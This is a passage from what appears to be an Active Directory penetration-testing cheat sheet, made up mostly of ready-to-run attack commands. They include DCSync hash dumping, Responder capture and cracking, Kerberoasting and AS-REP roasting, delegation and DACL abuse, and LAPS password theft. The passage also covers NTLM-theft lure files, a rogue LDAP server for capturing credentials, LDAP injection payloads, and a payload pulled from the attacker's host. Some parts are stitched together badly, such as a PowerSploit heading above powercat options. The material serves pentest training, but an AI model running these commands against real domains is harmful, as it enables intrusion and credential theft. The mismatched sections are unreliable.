Rubeus.exe ptt /ticket:<Base64ValueofCapturedTicket>

#Dump the hashes of the target domain using mimikatz:
lsadump::dcsync /domain:external.forest.local /all

Detailed Articles:

Active Directory Pentesting

Active Directory (AD) is a directory service developed by Microsoft for Windows domain networks.

- [adenumeration](https://tryhackme.com/room/adenumeration)

Enumeration

Domain Controllers Discovery

dig @<target-ip> example.local ANY
gobuster dns -d example.local -w subdomains.txt -t 25


Enumeration with BloodHound

1. Run BloodHound

We use BloodHound Community Edition.
The following command starts the Docker Compose of the BloodHound.

curl -L https://ghst.ly/getbhce | docker compose -f - up

After that, we can use the web UI by accessing to localhost:8080 in web browser.
Login with the username admin and the password which is displayed the log when executing the above command.

To specify arbitrary ip and port, set the environment variables on our attack machine:

export BLOODHOUND_HOST=10.0.0.1
export BLOODHOUND_PORT=8090

2. Collect Data with BloodHound.py

Here we use BloodHound.py.
Install it as follow:

python3 -m venv venv
source venv/bin/activate
pip3 install bloodhound
bloodhound-python -h

Then

# -d: Domain
# -u: Username
# -p: Password
# -dc: Domain Controller
# -c all: Collect all data
# -ns: Alternate the nameserver
bloodhound-python -d example.local -u 'TABATHA_BRITT' -p 'marlboro(1985)' -dc dc.example.local -c all -ns ns.example.local

# If we cannot resolve the domain, try dnschef (https://github.com/iphelix/dnschef) to create a fake DNS by proxy.
sudo python3 dnschef.py --fakeip <target-ip> --nameserver <target-ip>

3. Upload Collected Data

After running, the result files (*.json) generated in the current directory. Upload all these JSON files to the BloodHound in web browser.

We can explore the relationship in the Active Directory.


Investigation

# List all users
net user /domain
net user <username> /domain
Get-ADUser -Filter *
Get-ADUser -Identity <username> -Server dc.example.com -Properties *
Get-ADUser -Filter 'Name -like "*michael"' -Server dc.example.com | Format-Table Name,SamAccountName -A

# List all groups
net group /domain
net group "<group>" /domain
PS> Get-ADGroup -Identity <group> -Server dc.example.com -Properties *
PS> Get-ADGroupMember -Identity <group> -Server dc.example.com

# List the password policy
net accounts /domain

# List AD objects
$ChangeDate = New-Object DateTime(2022, 02, 28, 12, 00, 00)
Get-ADObject -Filter 'whenChanged -gt $ChangeDate' -includeDeletedObjects -Server dc.example.com

# Retrieve information about the given domain.
Get-ADDomain -Server dc.example.com

# Change the password of AD user
Set-ADAccountPassword -Identity <username> -Server dc.example.com  -OldPassword (ConvertTo-SecureString -AsPlaintext "oldpass" -force) -NewPassword (ConvertTo-SecureString -AsPlaintext "newpass" -force)

# SYSVOL - A shared folder storing the Group Policy Objects (GPOs).
dir \\dc.example.com\SYSVOL\


Force Change Password Attack

If we found some username/password, and other usernames, we might be able to change other user passwords. The user needs to have GenericAll permission to change passwords of other users.

# -U: User credential who has the permission to change another user password
# -I: Target IP
# -S: Target server name
net rpc password "TargetUserName" "myPassw0rd@123" -U "UserName"%"Password" -I "10.0.0.1" -S "EXAMPLE.LOCAL"


Microsoft Management Console (mmc)

To setup AD, follow this instructions:

  1. Right-click on the Windows icon.
  2. Click "Run" and enter "mmc" then click "OK".
  3. In the MMC, click "File → Add or Remove Snap-ins".
  4. Add all three "Active Directory…" snap-ins.
  5. Right-click on the "Active Directory…" in the left pane and select "Change Forest".
  6. Enter the domain as the Root domain and click OK.
  7. Click on "View → Advanced Features".


Naming Convention

If we found usernames list in Active Directory, we can modify usernames with naming convention.
For instance,

john smith   -> jsmith, j.smith
michael pole -> mpole, m.pole


SSH Login with AD Credentials

ssh dc.example.com\\<ad_username>@sub.dc.example.com


Inject Credentials into Memory

# /netonly: All network communications will use these injected credentials for authentication.
runas.exe /netonly /user:<domain>\<username> cmd.exe


DNS Configuration

# PowerShell
$dnsip = "<DC_IP>"
$index = Get-NetAdapter -Name 'Ethernet' | Select-Object -ExpandProperty 'ifIndex'
Set-DnsClientServerAddress -InterfaceIndex $index -ServerAddresses $dnsip

Now check if the configuration is set correctly.

nslookup dc.example.com


Intercept NetNTLM Authentication

Start Responder to listen for any LLMNR, NBT-NS, WPAD requests.

sudo responder -I <interface-like-eth0>

Leave Responder running until receiving some requests.
If you get NTLM hash, crack it in local machine.

echo -n '<copied-NTLM-hash>' > hash.txt
john --format=netntlmv2 --wordlist=wordlist.txt hash.txt

Active Directory Auditing

Password Auditing on Active Directory Databases

PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment. PowerSploit is comprised of the following modules and scripts.

Parameters:

-l      Listen for a connection.                             [Switch]
-c      Connect to a listener.                               [String]
-p      The port to connect to, or listen on.                [String]
-e      Execute. (GAPING_SECURITY_HOLE)                      [String]
-ep     Execute Powershell.                                  [Switch]
-r      Relay. Format: "-r tcp:10.1.1.1:443"                 [String]
-u      Transfer data over UDP.                              [Switch]
-dns    Transfer data over dns (dnscat2).                    [String]
-dnsft  DNS Failure Threshold.                               [int32]
-t      Timeout option. Default: 60                          [int32]
-i      Input: Filepath (string), byte array, or string.     [object]
-o      Console Output Type: "Host", "Bytes", or "String"    [String]
-of     Output File Path.                                    [String]
-d      Disconnect after connecting.                         [Switch]
-rep    Repeater. Restart after disconnecting.               [Switch]
-g      Generate Payload.                                    [Switch]
-ge     Generate Encoded Payload.                            [Switch]
-h      Print the help message.                              [Switch]

powercat -l -v -p 443 -t 1000

Quarks PwDump is new open source tool to dump various types of Windows credentials: local account, domain accounts, cached domain credentials and bitlocker. The tool is currently dedicated to work live on operating systems limiting the risk of undermining their integrity or stability. It requires administrator's privileges and is still in beta test. Quarkspwdump

Dump various types of Windows credentials without injecting in any process.

- [Quarkspwdump](https://github.com/quarkslab/quarkspwdump)

Quarks PwDump is a native Win32 open source tool to extract credentials from Windows operating systems.

It currently extracts : Local accounts NT/LM hashes + history Domain accounts NT/LM hashes + history stored in NTDS.dit file Cached domain credentials Bitlocker recovery information (recovery passwords & key packages) stored in NTDS.dit

C:\Documents and Settings\ksanchez>ntdsutil
ntdsutil: help

 ?                             - Show this help information
 Authoritative restore         - Authoritatively restore the DIT database
 Configurable Settings         - Manage configurable settings
 Domain management             - Prepare for new domain creation
 Files                         - Manage NTDS database files
 Group Membership Evaluation   - Evaluate SIDs in token for a given user or group
 Help                          - Show this help information
 LDAP policies                 - Manage LDAP protocol policies
 Metadata cleanup              - Clean up objects of decommissioned servers
 Popups %s                     - (en/dis)able popups with "on" or "off"
 Quit                          - Quit the utility
 Roles                         - Manage NTDS role owner tokens
 Security account management   - Manage Security Account Database - Duplicate SID Cleanup
 Semantic database analysis    - Semantic Checker
 Set DSRM Password             - Reset directory service restore mode administra
tor account password

[PARAMS]

JOHN and LC format are handled. Supported OS are Windows XP / 2003 / Vista / 7 / 2008 / 8

No tools can actually dump all kind of hash and bitlocker information at the same time, a combination of tools is always needed.

It's safer to directly use Microsoft JET/ESE API to parse databases originally built with same functions. Bitlocker case has been added even if some specific Microsoft tools could be used to dump those information. (Active Directory addons or VBS scripts) The tool is currently dedicated to work live on operating systems limiting the risk of undermining their integrity or stability. It requires administrator's privileges.

We plan to make it work full offline, for example on a disk image.

How does it internally work?


Case #1: Domain accounts hashes are extracted offline from NTDS.dit

It's not currently full offline dump cause Quarks PwDump is dynamically linked with ESENT.dll (in charge of JET databases parsing) which differs between Windows versions. For example, it's not possible to parse Win 2008 NTDS.dit file from XP. In fact, record's checksum are computed in a different manner and database files appear corrupted for API functions. That's currently the main drawback of the tool, everything should be done on domain controller. However no code injection or service installation are made and it's possible to securely copy NTDS.dit file by the use of Microsoft VSS (Volume Shadow Copy Service).


Case #2: Bitlocker information dump

It's possible to retrieve interesting information from ActiveDirectory if some specific GPO have been applied by domain administrators (mainly "Turn on BitLocker backup to Active Directory" in group policy). Recovery password: it's a 48-digits passphrase which allow a user to mount its partition even if its password has been lost. This password can be used in Bitlocker recovery console.

Key Package : it's a binary keyfile which allow an user to decipher data on a damaged disk or partition. It can be used with Microsoft tools, especially Bitlocker Repair Tool.

For each entry found in NTDS.dit, Quarks PwDump show recovery password to STDOUT and keyfiles (key packages) are stored to separate files for each recovery GUID: {GUID_1}.pk, {GUID_2}.pk,...

Volume GUID: an unique value for each BitLocker-encrypted volume. Recovery GUID: recovery password identifier, it could be the same for different encrypted volumes.

Quarks PwDump does no retrieve TPM information yet. When ownership of the TPM is taken as part of turning on BitLocker, a hash of the ownership password can be taken and stored in AD directory service. This information can then be used to reset ownership of the TPM. This feature will be added in a further release.

In an enterprise environment, those GPO should be often applied in order to ensure administrators can unlock a protected volume and employers can read specific files following an incident (intrusion or various malicious acts for example).


Case #3: Local account and cached domain credentials

There aren't something really new here, a lot of tools are already dumping them without any problems. However we have choosed an uncommmon way to dump them, only few tools use this technique.

Hashes are extracted live from SAM and SECURITY hive in a proper way without code injection/service. In fact, we use native registry API, especially RegSaveKey() and RegLoadKey() functions which require SeBackup and SeRestore privileges. Next we mount SAM/REGISTRY hives on a different mount point and change all keys ACL in order to extend privileges to Administrator group and not LocalSystem only. That's why we choose to work on a backup to preserve system integrity.

Writing this tool was not a really difficult challenge, windows hashes and bitlocker information storage methodology are mostly well documented. However it's an interesting project to understand strange Microsoft's implementation and choices for each kind of storage:

High level obfuscation techniques are used for local and domain accounts hashes: many constants, atypical registry value name, useless ciphering layer, hidden constants stored in registry Class attribute,...However, it can be easily defeated. Used algorithms differ sometimes between windows version and global credentials storage approach isn't regular. We can find exhaustively: RC4, MD5, MD4, SHA-256, AES-256, AES-128 and DES. Bitlocker information are stored in cleartext in AD domain services. Project is still in beta test and we would really appreciate to have feedbacks or suggestions/comments about potential bugs.

Binary and source code are available on GitHub (GNU GPL v3 license):

For NTDS parsing technical details, you can also refer to MISC MAG #59 article by Thibault Leveslin. Finally, we would like to greet NTDS hash dump (Csaba Barta), libesedb and creddump authors for their excellent work.

AD CS (Active Directory Certificate Services) Pentesting

AD CS is Public Key Infrastructure (PKI) implementation. The misconfiguration of certificate templates can be vulnerable to privilege escalation.

- [kerberos-abuse](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-misconfigured-certificate-template-to-domain-admin)
- [adcs-privesc-certificate-templates](https://0xalwayslucky.gitbook.io/cybersecstack/active-directory/adcs-privesc-certificate-templates)

Enumeration

We can retrieve certificates information on target Windows machine using certutil.

# Dump general information
certutil -dump

# Dump information about certificate authority
certutil -ca
certutil -catemplates

# List all templates
certutil -template
# specify the template
certutil -template ExampleTemplate

Then check if Allow Full Control or Allow Write include the group which current user belongs to. If so, we can modify the template and might be able to escalate privilege.

Existing Certificates

Get-ChildItem cert:\
Get-ChildItem cert:\CurrentUser\
Get-ChildItem cert:\CurrentUser\My
Get-ChildItem cert:\LocalMachine\
Get-ChildItem cert:\LocalMachine\My

Extract Certificates

$cert = Get-ChildItem -Path cert:\CurrentUser\My\<thumbprint>
Export-Certificate -Cert $cert -FilePath c:\Users\<username>\Desktop\user.cer

Extract the Private Key from a Certificate

$pw = ConvertTo-SecureString "password123" -AsPlainText -Force
$certificate = Get-ChildItem -Path cert:\CurrentUser\My\<thumbprint>
Export-PfxCertificate -Cert $certificate -FilePath user.pfx -Password $pw

AS-REP Roasting

AS-REP Roasting is a technique that retrieves password hashes that are not required Kerberos preauth in Active Directory.

Exploit

Lists users and passwords is not required Kerberos pre auth. Used for ASREPRoasting.

impacket-GetNPUsers example.local/<username>
impacket-GetNPUsers -dc-ip <target-ip> example.local/ -no-pass -usersfile users.txt
impacket-GetNPUsers -dc-ip <target-ip> example.local/<username> -no-pass -format hashcat 

# Without authenticatino
netexec ldap <target-ip> -u users.txt -p '' --asreproast output.txt
# With authentication
netexec ldap <target-ip> -u username -p password --asreproast output.txt

If we find a password hash, crack it.

john --format=krb5asrep --wordlist=wordlist.txt hash.txt
# or
hashcat -m 18200 -a 0  hash.txt wordlist.txt

Also, we can use it to Pass-The-Hash attack.

Constrained Delegation Attack

If a compromised account has the Kerberos Constrained Delegation right, the account may impersonate another user to request Kerberos service ticket and use it for such as signin services.

Investigation

Check if Kerberos Constrained Delegation Enabled for User

Reference: https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation#prerequisites

Get-NetUser -TrustedToAuth


Exploit

1. Request Service Ticket for Another User

The target SPN needs to be allowed for delegation.

# -k: Use Kerberos Auth
impacket-getST -k -impersonate Administrator -spn cifs/dc.example.local example.local/UserName

2. Use the Service Ticket

After getting the service ticket, we can use it for further pentesting.
We need to add the environment variable as below:

export KRB5CCNAME=`pwd`/Administrator.ccache

# Check by listing tickets.
# If the klist command not found, install it by `apt install krb5-user`
klist
    # -k: Use Kerberos Auth
    # -no-pass: No password
    impacket-wmiexec example.local/Administrator@example.local -k -no-pass

DACL (Discretionary Access Control List) Attack

DACL is a list of the trustees that are allowed or denied access to objects in Active Directory.

- [dacl](https://www.thehacker.recipes/a-d/movement/dacl)
- [access-control-lists](https://learn.microsoft.com/en-us/windows/win32/secauthz/access-control-lists)

Add Rights

We may be able to take a full control of securable objects by getting GenericAll permission on OU (Organizational Unit).

1. Ask TGT for Kerberos Authentication

If we want to use Kerberos authentication for attacking DACL, we need to retrieve a TGT for specific user at first. In addition, to avoid authentication error, we need to synchronize the system time with the domain controller using ntpdate or rdate.

sudo ntpdate example.local
# or
sudo rdate -n example.local

impacket-getTGT -dc-ip dc.example.local example.local/username:password

The getTGT above dumps a .ccache file which stores TGT.

After dumping the .ccache file, set it to an environment variable for using the later processing.

export KRB5CCNAME=username.ccache

2. Read DACL

We can use Impacket's dacledit which has not yet been merged as of 2023/10/21.

The repository is here: https://github.com/ShutdownRepo/impacket/tree/dacledit

dacledit.py -action read -target TestGroup -principal username -dc-ip 10.0.0.1 example.local/username:password
# -use-ldaps: Use LDAPS instead of LDAP
# -k: Use Kerberos authentication
dacledit.py -action read -target TestGroup -principal username -dc-ip 10.0.0.1 example.local/username:password -use-ldaps -k

3. Write DACL

dacledit.py -action write -rights 'FullControl' -principal username -target-dn'OU=SERVICE USERS,DC=EXAMPLE,DC=LOCAL' -inheritance -dc-ip dc.example.local example.local/username:password -use-ldaps -k
# -use-ldaps: Use LDAPS instead of LDAP
# -k: Use Kerberos authentication
dacledit.py -action write -rights 'FullControl' -principal username -target-dn'OU=SERVICE USERS,DC=EXAMPLE,DC=LOCAL' -inheritance -dc-ip dc.example.local example.local/username:password -use-ldaps -k

Download Files in Windows

We can download files from websites in Windows from command line, like ‘wget’ command of Linux.

Using Invoke-WebRequest

We can use Invoke-WebRequest command

# In PowerShell
Invoke-WebRequest -Uri https://example.com/hello.txt -Outfile .\hello.txt
IWR -Uri https://example.com/hello.txt -Outfile .\hello.txt

# In CMD, we need to call `powershell` or `powershell.exe` command.
powershell Invoke-WebRequest -Uri https://example.com/hello.txt -Outfile .\hello.txt
powershell IWR -Uri https://example.com/hello.txt -Outfile .\hello.txt

Kerberoasting Attack

Kerberoasting is a attack technique against Kerberos with cracking passwords using a credential already gathered.

- [thehacker.recipes](https://www.thehacker.recipes/a-d/movement/kerberos/kerberoast)

Attack

If we have a password hash of a user, we might be able to find another user credential using the hash.

impacket-GetUserSPNs -hashes <lmhash>:<nthash> example.local/username -outputfile hashes.txt
# Without pre-authentication
# -no-preauth: https://github.com/SecureAuthCorp/impacket/pull/1413
impacket-GetUserSPNs -no-preauth username -usersfile users.txt -dc-host <ip-or-host> example.local/


netexec ldap <target-ip> -u username -p password --kerberoasting output.txt
netexec ldap <target-ip> -u '' -p '' --kerberoasting output.txt

After finding hashes, we can crack it or use for pass-the-hash attack.
To crack, run the following commands:

john --format=krb5tgs --wordlist=wordlist.txt hash.txt
# or
hashcat -m 13100 -a 0 hash.txt wordlist.txt

Kerberos Pentesting

An authentication protocol that is used to verify the identity of a user or host. It uses cryptography for authentication and is consisted of the client, the server, and the Key Distribution Center (KDC). A default port is 88. Kerberos also uses a 464 port for changing passwords.

Enumeration

To enumerate automatically, you can use nmap.

nmap --script krb5-enum-users --script-args krb5-enum-users.realm='example.local'-p 88 <target-ip>

Brute Force Authentication

Kerbrute is a tool to perform Kerberos pre-auth bruteforcing.
The wordlist (e.g. combos.txt) specified must be the "username:password" combinations.

# -v: verbose mode *it's recommended to add this flag otherwise we cannot confirm if the user exist or not.
# --dc: domain controller
# -d: domain
# combos.txt: the wordlist specified must be combinations with "username:password".
kerbrute bruteforce -v --dc 10.0.0.1 -d example.domain combos.txt

# Users enumeration
kerbrute userenum -v --dc 10.0.0.1 -d example.domain usernames.txt

# Brute force user's password
kerbture bruteuser -v --dc 10.0.0.1 -d example.domain passwords.txt username


AS-REP Roasting

We might be able to find password hashes of user accounts that does not require preauthentication.
Please see AS-REP Roasting.


Kerberoasting Attack

If we have a password of some user, we might be able to gather another user credential.
Please see Kerberoasting Attack.

LAPS (Local Administrator Password Solution) Pentesting

LAPS provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory.

Enumeration

msfconsole
use post/windows/gather/credentials/enum_laps
set session 2
exploit


Obtain Administrator's Password

First, check if you are in the LAPS_Readers group.

net user <current-username>
# Global Group memberships  *LAPS_Readers

Using Get-ADComputer

Get-ADComputer gets the information of the Active Directory computer.

Get-ADComputer -Identity '<active-directory-computer-name>' -property 'ms-mcs-admpwd'

Using Get-LAPSPasswords.ps1

  1. Download the Payload in Local Machine

    If you are in LAPS_Readers, you can get the administrator's password using Get-LAPSPasswords.ps1{:target="_blank"}{:rel="noopener"}.

    wget https://github.com/kfosaaen/Get-LAPSPasswords/blob/master/Get-LAPSPasswords.ps1
  1. Transfer the Payload to Target Machine

    • via PowerShell

      First off, open web server in local machine.

        python3 -m http.server 8000
    
    Then curl in target machine
    
        curl http://<local-ip>:8000/Get-LAPSPasswords.ps1 -o .\Get-LAPSPasswords.ps1
    
    • via Evil-WinRM

      If you connect the remote Windows machine with Evil-WinRM, you can use directly by adding -s flag when connecting.

        evil-winrm -i <target-ip> -u username -p password -s /path/to/current/directory
    
    Then just execute the payload in evil-winrm console.
    
        PS > upload .\Get-LAPSPasswords.ps1 c:\Users\<username>\Desktop\Get-LAPSPasswords.ps1
    
  2. Execute the Payload in Target Machine

    .\Get-LAPSPasswords.ps1

LDAP Injection

LDAP may be vulnerable to query injection if website does not properly validate user input.

- [infosecwriteups.com](https://infosecwriteups.com/for-newbies-simple-examples-of-ldap-injection-vulnerabilities-cbf231431923)

Basic Payloads

(&uid=*)(userPassword=*)
(&uid=*)|(userPassword=*)
(&uid=*)|(objectClass=*)(userPassword=password123)

*)(uid=*))(|(password=*)

LDAP (Lightweight Directory Access Protocol) Pentesting

LDAP is a standard protocol designed to maintain and access "directory services" within a network. Default ports are 389 (LDAP), 636 (LDAPS), 3268 (LDAP connection to Global Catalog), 3269 (LDAP connection to Global Catalog over SSL).

Enumeration

# Nmap
nmap --script ldap-brute --script-args ldap.base='"cn=users,dc=cqure,dc=net"' -p 389 <target-ip>
nmap --script ldap-search -p 389 <target-ip>
nmap --script ldap-* -p 389 <target-ip>
nmap --script "ldap* and not brute" -p 389 <target-ip>

# NetExec
# -k: Use Kerberos authentication
netexec ldap <target-ip> -u usernames.txt -p '' -k
# --trusted-for-delegation: Enumerate computers and users with the flag `TRUSTED_FOR_DELEGATION`
# reference: https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties#property-flag-descriptions
netexec ldap <target-ip> -u username -p password --trusted-for-delegation


Search LDAP

Belows are defined in LDAP.

# -x: Simple authentication
# -b: base dn for search
ldapsearch -x -H ldap://10.0.0.1 -b "dc=example,dc=com"
ldapsearch -x -H ldaps://10.0.0.1:636 -b "dc=example,dc=com"

# As administrator
# -D: bind DN
# -w: bind password
ldapsearch -x -H ldap://10.0.0.1 -b "dc=example,dc=com" -D "cn=admin,dc=example,dc=com" -w password
ldapsearch -x -H ldap://10.0.0.1 -b "dc=example,dc=com" -D "cn=admin,dc=example,dc=com" -W

# Search sAMAccountName
ldapsearch -x -H ldap://10.0.0.1 -b "dc=example,dc=com" -D "workspace\\ldap" -w 'password' "(objectclass=*)" "sAMAccountName"
ldapsearch -x -H ldap://10.0.0.1 -b "dc=example,dc=com" -D "workspace\\ldap" -w 'password' "(objectclass=*)" "sAMAccountName" | grep sAMAccountName

# Get information
ldapsearch -x -H ldap://10.0.0.1 -b "cn=sample,cn=Users,dc=example,dc=com" -w 'password' "(objectclass=*)" -D "example\\name"


Dump Active Directory Information

If you have the credential, you can get the Active Directory information via LDAP.

# --no-html: Disable html output
# --no-grep: Disable greppable output
# -o: Output dir
ldapdomaindump -u 'DOMAIN\username' -p password <target-ip> --no-html --no-grep -o dumped


Connect

AD CS (Active Directory Certificate Services)

netexec ldap <target-ip> -d 'domain' -u 'username' -p 'password' -M adcs

LAPS (Local Administrator Password Solution)

netexec ldap <target-ip> -d 'domain' -u 'username' -p 'password' --kdcHost <target-ip> -M laps


Pass-Back Attack

Attack against the network devices such as printers.
For example, access http://printer.sub.example.com/settings.aspx

Open a listener for connecting back to your local machine.

nc -vp 1389

In your browser, test LDAP settings where you input username and password.

Host Rogue LDAP Server

If we cannot connect back in local machine by netcat, we need to create a rogue LDAP server.
Install the dependencies at first.

sudo apt update
sudo apt install -y slapd ldap-utils
sudo systemctl enable slapd

Configure your own rogue LDAP server by executing the following command.

sudo dpkg-reconfigure -p low slapd

# ---------------------------------------------------

# in configuration dialog

1. Omit OpenLDAP server configuration: No
2. DNS domain name: <target-domain>
3. Organization name: <target-domain>
4. Administrator password: <arbitrary-password>
5. Database backend to use: MDB
6. Do you want the database to be removed when slapd is purged?: No
7. Move old database?: Yes

We need to make your rogue LDAP server to be vulnerable by downgrading the supported authentication mechanism.
Create the config file named "config.ldif".

dn: cn=config
replace: olcSaslSecProps
olcSaslSecProps: noanonymous,minssf=0,passcred

Now we can use the config file to patch the LDAP server.

# -Y: SASL mechanism
# -H: URI
sudo ldapmodify -Y EXTERNAL -H ldapi:// -f ./config.ldif
sudo service slapd restart

We can verify that the rogue LDAP server’s configuration has been applied:

ldapsearch -H ldap:// -x -LLL -s base -b "" supportedSASLMechanisms

For capturing the credentials, run the following command.

sudo tcpdump -SX -i <target-interface-like-eth0> tcp port 389

In browser, test the printer settings and capture the credentials via tcpdump.

Netlogon Elavasion of Privilege

It is a vulnerability to elevate of privilege in Windows Netlogon using the Netlogon Remote Protocol (MS-NRPC). It’s called Zerologon (CVE-2020-1472).

Exploitation

There is a lot of Poc in online.
Here, we’ll use this repository from GitHub.

Resource-Based Constrained Delegation Attack

Kerberos RBCD attack targets a domain computer, exactly service principals related to the target domain computer.

- [rbcd-attack](https://github.com/tothi/rbcd-attack)

Exploit

Reference: https://github.com/tothi/rbcd-attack#abusing-kerberos-resource-based-constrained-delegation

0. Prerequisites

To achieve this attack successfully, we need the following conditions:

1. Create Fake Computer

impacket-addcomputer -computer-name 'fakecomputer$' -computer-pass 'password' -dc-ip 10.0.0.1 example.local/username:password

2. Modify Delegation Rights

We can use rbcd.py for abusing msDS-AllowedToActOnBehalfOfOtherIdentity property of the target.

rbcd.py -f FAKECOMPUTER -t WEB -dc-ip 10.0.0.1 example\\username:password

rbcd.py 'example.local/fakecomputer$' -delegate-to 'fakecomputer$' -delegate-from user1 -action write -use-ldaps -k -no-pass

3. Get the Impersonated Service Ticket

Impersonated service tickets may allow high-level access to services on the target like CIFS (Common Internet File System), HTTPs, etc.

getST.py -spn cifs/example.local -impersonate admin -dc-ip 10.0.0.1 example.local/FAKECOMPUTER$:password

4. Use the Service Ticket

After getting the service ticket, we can use it for further pentesting.
Before doing that, we need to add the environment variable as below:

export KRB5CCNAME=`pwd`/admin.ccache

# Check by listing tickets.
# If the klist command not found, install it by `apt install krb5-user`
klist
    # -k: Use Kerberos Auth
    # -no-pass: No password
    impacket-wmiexec example.local/Administrator@example.local -k -no-pass

Shadow Credentials

Shadow Credentials is an attack technique to take over Active Directory user/computer account by compromising msDS-KeyCredentialLink property of target objects.

- [kerberos-abuse](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/shadow-credentials)

Exploit

If the attacker can modify the target object's (user or computer account) attribute msDS-KeyCredentialLink and append it with alternate credentials in the form of certificates, he takes over the account in AD.

Using Certipy

# -k: Use Kerberos authentication
certipy shadow auto -account "targetuser" -u "username@example.local" -p 'password' -dc-ip 10.0.0.1 -target dc.example.local -k

Using Whisker

Whisker is a C# tool for taking over Active Directory user and computer accounts by manipulating their msDS-KeyCredentialLink attribute.

Whisker.exe add /target:john /domain:example.local

SMB (Server Message Block) Pentesting

It allows clients, like workstations, to communicate with a server like a share directory. Samba is derived from SMB for linux. Default ports are 139, 445.

Enumeration

To enumerate automatically, we can use various tools such as nmap, smbclient, and so on

nmap --script smb-brute -p 445 <target-ip>
nmap --script smb-enum-shares.nse,smb-enum-users.nse -p 445 <target-ip>
nmap --script smb-enum* -p 445 <target-ip>
nmap --script smb-protocols -p 445 <target-ip>
nmap --script smb-vuln* -p 445 <target-ip>

# NetBIOS names
nmblookup -A 10.0.0.1
nbtscan 10.0.0.1
nbtscan -r 10.0.0.1/24

# Enum4linux
enum4linux <target-ip>
# All enumeration
enum4linux -a <target-ip>
# Verbose
enum4linux -v <target-ip>
# Specify username and password
enum4linux -u username -p password <target-ip>

# Enum4linux-ng
# -A: All simple enumeration including nmblookup
enum4linux-ng -A <target-ip>
# -As: All simple short enumeration without NetBIOS names lookup
enum4linux-ng -As <target-ip>
# -u: Specific username
# -p: Specific password
enum4linux-ng -u "administrator" -p "password" <target-ip>

# NetExec (https://www.netexec.wiki/)
netexec smb 10.0.0.0/24
netexec smb <target-ip>
netexec smb <target-ip-1> <target-ip-2>
netexec smb <target-ip> -u username -p password
netexec smb <target-ip> -u username -p password --users
# -M zerologon: Scan for ZeroLogon
# -M petitpotam: Scan for PetitPotam
netexec smb <target-ip> -u '' -p '' -M zerologon -M petitpotam
# -M petitpotam: Scan for PetitPotam

Find Shared Folders

# -N: No password
# -L: List shared directories
smbclient -N -L <target-ip>
smbclient -L <target-ip> -U username

smbmap -H <target-ip>
# Recursive
smbmap -H <target-ip> -R
# Username and password
smbmap -u username -p password -H <target-ip>
# Execute a command
smbmap -u username -p password -H <target-ip> -x 'ipconfig'

netexec smb <target-ip> -u '' -p '' --shares
netexec smb <target-ip> -u username -p password --shares

impacket-psexec example.local/username@<target-ip>

Brute Force Credentials

netexec smb <target-ip> -u username -p passwords.txt --continue-on-success
netexec smb <target-ip> -u usernames.txt -H ntlm_hashes.txt --continue-on-success

hydra -l username -P passwords.txt <target-ip> smb
hydra -L usernames.txt -p password <target-ip> smb

# RID Brute Force
netexec smb <target-ip> -u username -p password --rid-brute 20000

# Using Metasploit
msfconsole
msf> use auxiliary/scanner/smb/smb_login

If we find credentials, we can use them for smbclient or WinRM.
If we got "STATUS_PASSWORD_MUST_CHANGE" for some users, we can update a current password to a new one.

smbpasswd -r <target-ip> -U <username>
# or
impacket-smbpasswd <DOMAIN>/<username>:<password>@<target-ip> -newpass <new-password>
# If you don't have impacket-smbpasswd, download it from a repository.
wget https://raw.githubusercontent.com/fortra/impacket/master/examples/smbpasswd.py


RID Cycling Attack

RID enumeration.
It attempts to enumerate user accounts through null sessions.

# Anonymous logon
# 20000: Maximum RID to be cycled
impacket-lookupsid example.local/anonymous@<target-ip> 20000 -no-pass
impacket-lookupsid example.local/guest@<target-ip> 20000 -no-pass
impacket-lookupsid example.local/guest@<target-ip> 20000
# Specify user
impacket-lookupsid example.local/user@<target-ip> 20000 -hashes <lmhash>:<nthash>
impacket-lookupsid example.local/user@<target-ip> 20000


# USEFUL COMMAND
# This command extract usernames. It's useful for further enumeration which uses usernames.
# Replace the following keywords:
#  - `example.com` => Target domain
#  - `10.0.0.1`    => Target IP
#  - `DOMAIN`      => Target domain name
impacket-lookupsid example.com/guest@10.0.0.1 20000 -no-pass > tmp.txt | cat tmp.txt | grep SidTypeUser | cut -d ' ' -f 2 | sed 's/DOMAIN\\//g' | sort -u > users.txt && rm tmp.txt


Password Spraying Attack

If we have a user password, we might be able to find another user with the same password.

# User enumeration
netexec smb <target-ip> -u John -p Password123 --users
netexec smb <target-ip> -u John -H <NTLM_HASH> --users

# Find users with same password
netexec smb <target-ip> -u users.txt -p Password123 --continue-on-success
netexec smb <target-ip> -u users.txt -p found_passwords.txt --continue-on-success
netexec smb <target-ip> -u users.txt -H <NTLM_HASH> --continue-on-success
netexec smb <target-ip> -u users.txt -H found_ntlm_hashes.txt --continue-on-success


NTLM Stealing

Using ntlm_theft

# -g all: Generate all files.
# -s: Local IP (attacker IP)
# -f: Folder to store generated files.
python3 ntlm_theft -g all -s <local-ip> -f samples

After generating files with ntlm_theft , put the .lnk file (samples.lnk here) to the shared folder.

smbclient -N //10.0.0.1/example

smb> put samples.lnk

Now start Responder to retrieve the stolen NTLM hashes. Run the following command in our local machine:

sudo responder -I eth0


Connect

You can use smbclient to connect the target.

# anonymous login
smbclient //10.0.0.1/somedir -N
# If the folder name contains spaces, surround with double quotes
smbclient "//10.0.0.1/some dir" -N
# Specify user
smbclient //10.0.0.1/somedir -U username
# nobody, no-pass
smbclient //10.0.0.1/somedir -N -U nobody
# Specify workgroup
smbclient -L 10.0.0.1 -W WORKGROUP -U username

To get a Windows shell, run the following examples.

impacket-wmiexec example.local/username@10.0.0.1
# Pass the Hash
impacket-wmiexec -hashes abcdef0123456789abcdef0123456789:c2597747aa5e43022a3a3049a3c3b09d example.local/username@10.0.0.1


Commands in SMB

After connecting, we can investigate the shared folder to find sensitive files or information.

List Folders/Files

smb> ls

Download Folders/Files

smb> get sample.txt
# If the filename contains spaces, it need to be enclosed in double-quotes.
smb> get "Example File.txt"

To download files recursively, run the following commands.

smb> mask ""
smb> recurse ON
smb> prompt OFF
smb> mget *

Or using smbget from local machine.
Especially, it’s useful for downloading a large file rather than “get” command in smbclient.

smbget smb://<target-ip>/somedir/example.txt -U username
smbget -R smb://<target-ip>/somedir -U username

# Specify workgroup
